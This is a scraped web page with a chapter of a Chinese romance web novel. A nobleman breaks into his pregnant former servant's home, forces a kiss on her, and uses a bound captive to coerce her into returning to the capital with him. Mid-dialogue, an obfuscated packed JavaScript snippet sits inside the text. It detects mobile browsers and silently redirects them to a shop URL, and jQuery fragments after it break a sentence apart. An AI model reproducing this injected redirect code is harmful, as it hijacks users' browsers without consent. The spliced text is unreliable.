默认冷灰
24号文字
方正启体

49.第四十九章

作者:晏迟川本书字数:K更新时间:
    雪枝登时失声尖叫,下意识缩了缩身体,惊恐地睁大眼睛,盯着床前的身影。


    那人轻笑一声,在黑暗中显得格外惊悚。


    “怎么,才半年不见,雪枝便已然不认识我了,我可真是伤心啊。”他弯下身体,双手撑在雪枝身侧,将她整个人圈在自己身下,眼神阴厉而怨愤,可动作小心翼翼地避开她的肚子。


    雪枝的眼睛慢慢适应了黑暗,能够看清眼前之人的轮廓和面容,瞳孔骤缩。


    崔濯,他怎么会在这里?!他不是死了吗?


    眼前的这个人,究竟是人,还是鬼?!


    雪枝抚着砰砰直跳的心脏,惊恐地望着崔濯。


    见雪枝不说话,崔濯伸手去碰她的脸,却被她扭头避开,将他的手空悬在半空。


    “呵,他碰得,我便碰不得,是吗?”


    什么他......谁?雪枝疑惑地抬头,忽然狂风暴雨般的吻便将她吞没,如同风暴中的小舟,被风浪裹挟着浮浮沉沉。


    雪枝呼吸不过来,狠心一口咬在崔濯的嘴唇,将内唇都磕出了血。


    可崔濯却依然不放开,反而加深了这个吻,殷红的血涂抹在她的唇上,妖冶得仿佛曼陀罗花。


    温热的血的味道让雪枝恍惚苏醒过来,眼前的崔濯是个活生生的人——他没死。


    雪枝闷哼一声,差点没喘过气来,崔濯趁机给她渡了口气,才缓缓松开。


    二人一分开,一个巴掌登时甩在崔濯的脸上,将他的脸打得偏到一侧。


    不疼,但酥麻一片。


    崔濯的舌尖顶了顶腮,冷不丁笑了一声,不重,却让雪枝硬生生打了个寒颤。


    “半年不见,家猫也学会咬人了。”


    雪枝咬唇,顶着崔濯仿佛要把她吞了的目光,“崔濯,我已经不是你的奴婢了,我现在是良民,你私自闯入我的家中,我可以报官抓你!”


    崔濯低低笑了,似乎在嘲笑雪枝的天真,“扬州府的知府是我的至交好友,你觉得你去报官,有用吗?”


    雪枝震惊于崔濯的厚脸皮,官官相护这样的话都能堂而皇之地说出来。


    她瞪着他,强自镇定道:“我们已经没关系了,你究竟想要干什么?”


    “我从来没说过,我们没关系了。”


    崔濯听着雪枝这急于撇清关系的话,眼中陡然浮现出一抹恨意,他以为她死了,此生都不再见到她,这般剜心之痛,她怎么能这样狠心决绝地抛弃他!


    不过没关系,他如今找到她了。


    “我可以不计较你假死脱身之事,雪枝,随我回京,我们成亲,从今往后,你便是国公府的世子夫人。”崔濯伸手替雪枝整理贴在额头上的碎发,动作轻柔,仿佛在对待什么易碎的珍宝。


    他已经深思熟虑过了,只有让她成为他名正言顺的妻子,才能永远将她留在身边。


    至于她肚子里的孩子,她生下来之后,他会把它远远送走,从今往后只当没有这个孩子,她和他之后,会拥有他们自己的孩子。


    那个觊觎她的人,永远都不会有机会再靠近她!


    这话落在雪枝的耳中不啻于屋外的惊雷,她瞳孔骤缩,脱口而出道:“你疯了吗?!”


    崔濯唇角荡漾着笑,“我没有疯,我骗你做什么呢?你不愿意做妾室、做通房,都没关系,我们以后是生同衾死同穴的夫妻,任何人都无法分开我们,你说好吗?”


    “我们是不可能在一起的,崔濯,我们身份有别,你......”


    “那又如何?”崔濯蓦地打断雪枝的话,“我不在乎。”


    雪枝顿时哑然,她从未想过,崔濯会跑到她面前,对她说出这样一番话。


    但是,但是。


    雪枝深吸一口气,平静道:“我们是不可能成婚的。”


    “不是因为别的什么,而是因为,我不想嫁给你,无论是做通房、妾身,还是正妻,我都不要。”


    崔濯嘴角的笑容慢慢敛去,绷成一条直线。


    他曾想过,雪枝对他根本没有半点情谊,可是真正当这句话直接砸到他的脑袋上的时候,依然能将他撕扯成碎片,血肉模糊,溃不成军。


    他的心口疼得发麻,灵魂仿佛游荡在上空,他听见自己阴冷的声音发问:“为何?”


    雪枝看着崔濯的眼睛,将自己思虑再三的话毫无保留地说了出来:“崔世子,你是天潢贵胄,是天上月,山巅雪,你生来就是站在云端之上的,你的世界波谲云诡,灿烂辉煌,日后你会三妻四妾,儿孙满堂,但我只是一个普通人而已,是凡泥土,红尘烟,我只想粗茶淡饭,无病无灾地过这一辈子,我不想参与你们惊心动魄的生活,我也无法成为一个合格的世子夫人。崔世子,你冠绝京华,想要什么样的姑娘找不到,何苦要我一个毫无助力的平民女子呢?”


    崔濯平静地听着雪枝说完,道:“你说的这些,都不重要。”


    雪枝一噎,如何不重要呢?两个不在一个世界里的人,强自扭曲在一起,是不会幸福的。


    “和我回京,我们会儿孙满堂,举案齐眉的。”崔濯轻声道。


    雪枝却拂开他的手,坚决道:“我不回京城!”


    “崔濯,你听不明白吗?我根本不想嫁给你,你给不了我想要的生活!”雪枝急了,她和崔濯说话仿佛鬼打墙似的,根本说不通。


    崔濯目光沉沉,“你不想嫁给我,是想嫁给那个江洋大盗吗?”


    雪枝诧异道:“什么?”


    她的身体忽然被凌空抱起,吓得她下意识扯住了崔濯的衣领,脸色煞白:“崔濯,你做什么,放我下来!”


    崔濯充耳不闻,抱着她径直走到堂屋坐下,将她强硬地按在他的腿上,强迫她看向门外大雨滂沱的天井。


    雨幕中,撑着油纸伞的褚墨押着一个身着衙役服的身影,他被五花大绑地跪在雨幕里,如瀑的大雨将他全身都浇透了,不知淋了多久,整个人都淋得脸色煞白。


    雪枝猛然一惊,愤怒地瞪着崔濯:“崔濯,你凭什么捉他?他是扬州府衙的差役!”


    崔濯冷笑道:“差役?我倒是不知道,一个被官府通缉的江洋大盗,竟然堂而皇之地在扬州府衙,当上了衙门的捕头,当真是可笑,这将朝廷法度置于何地?岂非让天下之人都嘲笑官府无能,让一个江洋大盗耍得团团转?我缉拿他归案,名正言顺。”


    雪枝张了张嘴,却不知该如何反应。


    她从没想过,一直在扬州帮助她的何大哥,竟然是官府通缉的江洋大盗!何韫的哥哥,何卓是江洋大盗?!


    这件事情瞬间颠覆了雪枝的认知。


    “崔濯,”雪枝咽了咽喉咙,尽量将头脑中的杂念排除,理智道:“即便他是官府通缉的犯人,你也不能滥用私刑,将他压在大雨中,他犯的错再大,自有朝廷法度审判他。”


    雪枝不知全貌,无法对何卓之事加以辩驳,但至少能够暂时解救何卓,让他不必再淋雨。


    崔濯却冷笑,恨恨道:“怎么,看着他淋一点雨便心疼了?我在江苏刀山箭雨里差点丢掉一条命,你怎么就不心疼我呢?”


    雪枝下意识看向崔濯肩膀上那条被衣裳掩盖的刀疤,心头一紧。


    她咬牙移开视线,道:“一码归一码,此事与我的心思无关,崔濯,你不要转移话题,滥用私刑,即便是敲登闻鼓闹到陛下那里,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367020|197835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你也讨不着好。”


    崔濯伸手摩挲着雪枝的脸颊,道:“你近日瘦了些,脸色也蜡黄,远不如在国公府时养得好,在扬州受罪,就真的那么好吗?”


    崔濯猝不及防地转移话题让雪枝有些懵,他这又是唱的哪一出?


    “国公府的锦衣玉食,都是我拼死挣来的,”崔濯道:“即便我在扬州弄死一个江洋大盗,陛下也只会申斥我一两句,对我根本造不成任何威胁。”


    崔濯的话很轻,仿佛捏起一条人命,对他就像是踩死一只蚂蚁一样简单。


    让雪枝浑身打了个哆嗦。


    “所以滥用私刑,不算什么。”


    雪枝惊恐地看着崔濯,仿佛第一天才认识眼前的这个人。


    “我本来不想这样的。”崔濯叹了口气,似乎是被逼无奈,才出此下策。


    “你知道怎么求我,才能让他活。”


    夜空一道闪电劈开天际,一瞬间的光亮让雪枝窥见了眼前之人的神情。


    他冷得如同千年不化的寒冰,看着何卓的眼神如同看一件死物。


    雪枝明白,他是真的觉得,杀了何卓无所谓,对他的身份、地位没有任何影响。


    雪枝想起了被困在国公府后巷的张妈妈。


    这便是权势的真相。


    雪枝没有办法,无力撼动。


    她知道崔濯在逼她妥协,她只要狠一狠心,不去管何卓的死活,她就可以无视崔濯的威胁,过她自己的生活。


    可是她真的能狠得下这个心吗?


    何卓是她来扬州之后,第一个朝她伸出善意之手的人。


    他会帮她去药铺抓药,跟在她身后赶跑尾随的流氓,借钱给她度过一时之困......


    他无所图地在帮她,这样的一个人,衙门的差役,怎么会是江洋大盗呢?!


    雪枝不想相信,她宁愿相信这是崔濯给他罗织的罪名。


    可是即便她再不愿相信,事实就摆在眼前,容不得她不信。


    更何况,她在扬州的软肋太多了,比之国公府更甚,有叶竟夕,有她收容的学徒和孩子,她没办法坐视不理。


    雪枝闭了闭眼,倾身往崔濯身上靠了靠。


    “世子爷,我们回京城吧。”


    雪枝再一次妥协了。


    崔濯却不为所动。


    雪枝咬了咬牙,心中暗骂崔濯禽兽不如,只好伸手环住他的胳膊,靠在他的颈侧蹭了蹭,柔声道:“世子爷,我知道错了,让他到廊下来吧,好不好?若闹出了人命,我心里害怕。”


    崔濯这才纡尊降贵地低头给了雪枝一个眼神。


    雪枝只得继续安抚道:“世子爷,我累了,你陪我睡一会儿,好吗?你许久都未曾陪我了。”


    崔濯面无表情地问道:“这是你真实的想法吗?”


    雪枝忙点头,“自然。”


    崔濯这才对褚墨吩咐道:“把人提去柴房,看好了。”


    见褚墨把人带走了,雪枝想给他送身衣裳换下湿衣裳,又怕崔濯又发疯,只能按下不表。


    崔濯似乎看穿了她的意图,冷声道:“放心,他是朝廷钦犯,不会让他轻易就死了。”


    还未等雪枝反应,崔濯便一把抱住她回屋,将她轻柔地放到床上,盖好被子,如同哄孩子一般哄道:“夜深了,快睡吧。”


    经历了这么多事情,雪枝哪里还睡得着?


    只是迎着崔濯如狼似虎的眼神,只好扶着肚子侧过身去,假装睡下了。


    身后那人褪了鞋袜,上了床贴着雪枝,大手抚上雪枝的肚皮。


    雪枝身体一僵。


    “那个人是谁?”崔濯问道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)